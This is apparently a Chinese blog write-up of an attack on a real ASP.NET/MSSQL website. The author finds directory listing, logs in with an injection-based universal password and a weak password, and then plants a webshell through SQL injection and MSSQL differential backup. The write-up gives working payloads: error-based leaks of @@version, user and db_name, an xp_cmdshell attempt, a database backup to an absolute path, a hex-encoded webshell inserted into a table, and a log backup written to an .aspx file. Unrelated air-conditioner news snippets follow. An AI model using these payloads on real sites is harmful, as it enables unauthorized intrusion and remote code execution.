一次差异备份拿shell过程
admin
2023-05-05 04:21:00
0次

0x00 前言


扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。

知识点科普:

1. 目录浏览

目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指“在没有默认文档的目录下,列出该目录下所有文件名及文件信息”,如果站点存在这种错误配置,***者如果知道其中目录名,则可以查看到这些目录下的文件。

一次差异备份拿shell过程

2.差异备份条件
  1. 站点绝对路径
  2. 具有路径写入权限
  3. 具备当前数据库权限

0x01 正文


站点配置不当,导致目录浏览,通过查看首页的源代码,翻到了几个目录
一次差异备份拿shell过程
一次差异备份拿shell过程
随便访问了一个,发现会报错,说明网站管理员并没有把错误信息屏蔽
一次差异备份拿shell过程
还存在信息泄漏。。
一次差异备份拿shell过程

但是通常目录下的文件是需要传递参数去执行的,我们并不知道参数名,所以并没办法利用


辗转后到前台登录界面查看
一次差异备份拿shell过程
尝试了一下,发现密码处存在注入和弱口令admin,也就是可以用万能密码登录啦
本来想找一处文件上传,直接getshell,但是发现好像不存在,却发现了网站使用了kindeditor和网站绝对路径
一次差异备份拿shell过程

那么前面登录口处存在注入,后台一般也有很多注入的啦,尝试找一下,如果有的话,配合绝对路径可以进行getshell
一次差异备份拿shell过程
一次差异备份拿shell过程

okok,发现注入啦,但到目前为止并不知道数据库是什么类型,一般aspx+mssql,由于前面发现是可以报错的,那么尝试使用mssql的报错方式

%' and 1=@@version --a

一次差异备份拿shell过程

mssql数据库,查看一下当前的用户身份

%' and 1=user --a

一次差异备份拿shell过程

dbo的权限并不是sa,尝试一下xp_cmdshell

%';exec('master..xp_cmdshell whoami') --a

一次差异备份拿shell过程

并没有开启xp_cmdshell,且dbo的权限是不足以开启xp_cmdshell的,那么只能尝试使用差异备份的方式来写入一个webshell

1. 获取当前数据库名称
%' and 1=db_name() --a

一次差异备份拿shell过程

2. 对当前数据库进行备份
%';backup database 数据库名称 to disk = '绝对路径' with init --a 

如果成功备份,则网页返回%'的查询结果(因为是堆叠且后面语句的执行并不会有返回结果)

3.创建表格,并写入webshell
%';create table cmd(a image) --a
%';insert into cmd(a) values (0xxxxx) --a  //webshell的hex值

可以用网上的工具,笔者用以前自己开发的小工具
一次差异备份拿shell过程

4.进行第二次备份
%';backup log 数据库名称 to disk = '绝对路径\\abc.aspx'--

这里我将webshell写入子目录中,因为有目录浏览,能确切看到文件是否产生
一次差异备份拿shell过程

创建成功后,尝试连接
一次差异备份拿shell过程

0x02 后续

  1. 如果能直接使用xp_cmdshell就尽量不要使用差异备份,因为会产生备份文件,如果数据库很大的话,会造成影响
    一次差异备份拿shell过程
  2. 有任何错误,请斧正

相关内容

热门资讯

空调连续工作多久需要停机休息 空调连续工作的时间取决于多个因素,包括空调的型号、功率、使用环境和维护情况等。一般来说,空调可以连续...
空调哪个符号是除湿的 空调除湿功能通常用一个水滴形状的符号表示。不同品牌和型号的空调遥控器可能会有所差异,但一般来说,除湿...
格力空调多长时间加一次氟利昂 1、一般情况下,空调对氟利昂的使用量是非常小的,所以在空调使用了四年左右的时候再考虑加也没问题。2、...
空调用多长时间需要加氟一次 一般情况下是五年。当出现以下这几种情况时,空调才需要加氟。1、空调的室内机和室外机各有两个接口,当接...
格调生活·C标思享荟:卡萨帝在... 9月12日的郑州龙湖金融岛,夜风轻拂,灯光璀璨。“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑...
品牌价值破千亿、高端份额持续领... 9月12日,“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑州站”在郑州龙湖金融岛举办。2026...
空调主板坏了修800还是换新的 空调主板坏了是修还是换新,需要考虑多个因素,以下是一些建议:1. 维修成本:如果维修费用较低,比如 ...
空调开多久需要休息多长时间 问题:空调开多久需要休息多长时间回答:1、在使用空调的过程中,一般空调开7~8个小时左右需要休息2~...
中央空调多长时间清洗一次 1、一般空调开机前清洗一次即可,空调开机中间时段再清洗一次,空调关机时清洗一次,这样比较合理。2、空...
中央空调氟利昂多久加一次 看空调制热和制冷程度,很多人的观点认为氟利昂必须一年放一次,其实这个观点是错误的,理解上面有点偏差,...